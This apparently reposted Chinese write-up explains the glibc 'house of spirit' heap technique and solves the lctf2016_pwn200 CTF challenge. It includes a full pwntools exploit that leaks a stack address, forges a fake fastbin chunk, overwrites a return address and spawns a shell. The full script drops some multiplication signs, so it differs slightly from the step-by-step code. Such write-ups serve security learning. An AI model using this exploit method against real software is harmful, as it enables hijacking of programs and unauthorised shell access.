[pwn][堆利用]house of spirit[例题:lctf2016_pwn200]
阅读原文时间:2022年04月27日阅读:1

House of spirit

  • 实现目的

    • malloc分配到目标地址
  • 实现条件

    • free的参数可控
    • 目标地址可以连续构造两个fake chunk的size域,需要地址对齐(即目标高低地址处均有可控区域)
  • 实现方法

    • 在目标地址伪造可以被释放到fastbin上的fake chunk
    • 伪造fake chunk的同时伪造好其下一个chunk(物理上的)的size域
    • 将目标地址作为参数free
    • malloc一次,将返回指向目标地址的指针
  • 实现实例

    • 题目平台

      • buuctf
    • 题目名称

      • lctf2016_pwn200
    • 分析步骤

      • 常规检查

      防护全闭

      • 逐步分析

      输入名字时没有溢出,但是存在泄露

      根据栈帧结构,被泄露的地方应该是rbp

      经过gdb调试,确认是rbp,我们可以通过被泄露的rbp推算其他栈上的地址了

      继续分析,在获取id时仅能输入三位,并且只能输入数字

      ida伪c代码中有一部分并没有显示完全

      尽管看上去get_id的返回值没有被保存
      但事实上……

      从汇编代码可以看出,get_id的值被保存在了name的上面

      进入get_money

      首先malloc了一个0x40的chunk,向其中输入最多0x40个字 节,然后将chunk位置保存在全局变量ptr中

      在向chunk中读入内容时存在溢出

      可以修改被保存在ptr上的chunk位置

      在用户选单中,选择out会把ptr上保存的chunk立即free掉,并将ptr置零,选择in会检测ptr是否为0,如果为0则malloc一个大小在0~0x80内的chunk

      通过对伪代码的分析,可以发现程序的结构是函数一个个的调用,这种结构很容易造成返回地址的低地址和高地址可控。同时,由于第一次申请chunk时存在的溢出,可以控制一次free的参数,满足house of spirit的条件

      在gdb调试的过程中可以发现,0x7fffffffdf78保存了我们输入的id,而0x7fffffffdf10保存了我们输入第一个堆块的内容,0x7fffffffdf10往下0x40个字节都是我们的可控位置,在二者之间保存了get_money的返回地址

      • 此时完整的攻击思路出来了

        • 利用get_name处的泄漏点获取栈地址,并写入shellcode
        • 在get_id处伪造fake chunk的下一个chunk(物理上的)的saze域
        • 在get_money处伪造fake chunk并利用溢出改写ptr上的值为fake chunk的地址
        • free fake chunk
        • malloc回来,改写返回地址为shellcode
        • 选择退出,触发被改写的返回地址,执行shellcode
        • getshell
      • 按照思路编写writeup

        • 泄露栈地址,写入shellcode

          pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
          p.sendafter("who are u?",pay)
          p.recvuntil(pay)
          stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
          print "stack add="+hex(stack_add)
          fake_chunk=stack_add-0xb0
          name_add=stack_add-0x50
        • 伪造fake chunk以及其后的chunk size

          p.sendlineafter("give me your id ~~?","97")
          pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
          p.sendafter("give me money~",pay);
        • free然后malloc回来

          p.sendlineafter("your choice :","2")
          p.sendlineafter("your choice :","1")
          p.sendlineafter("how long?","80")
          pay="\x00"*0x38+p64(name_add)
          p.sendlineafter("give me more money :",pay);
        • getshell

          p.sendlineafter("your choice :","3")
      • 完整wp

        from pwn import*
        from LibcSearcher import*
        context(arch='amd64',os='linux',log_level='debug')
        #p=process("./1")
        p=remote('node3.buuoj.cn','29646')
        elf=ELF("./1")

        pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
        p.sendafter("who are u?",pay)
        p.recvuntil(pay)
        stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
        print "stack add="+hex(stack_add)
        fake_chunk=stack_add-0xb0
        name_add=stack_add-0x50

        p.sendlineafter("give me your id ~~?","97")
        pay="\x00"8+p64(0x61)+"\x00"0x28+p64(fake_chunk)
        p.sendafter("give me money~",pay);

        p.sendlineafter("your choice :","2")
        p.sendlineafter("your choice :","1")
        p.sendlineafter("how long?","80")
        pay="\x00"*0x38+p64(name_add)
        p.sendlineafter("give me more money :",pay);
        p.sendlineafter("your choice :","3")

        p.interactive()

      • 运行效果

  • 总结:house of spirit的原理是绕过free到fastbin上的检查,使得一块本来我们不具有写能力的内存被malloc返回。这种漏洞点容易出现在一个函数调用另一个函数,并且两个函数在栈上都有可控区间的情况下,在这种情况下,我们可以通过house of spirit获得修改返回地址的能力,从而劫持程序流。

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章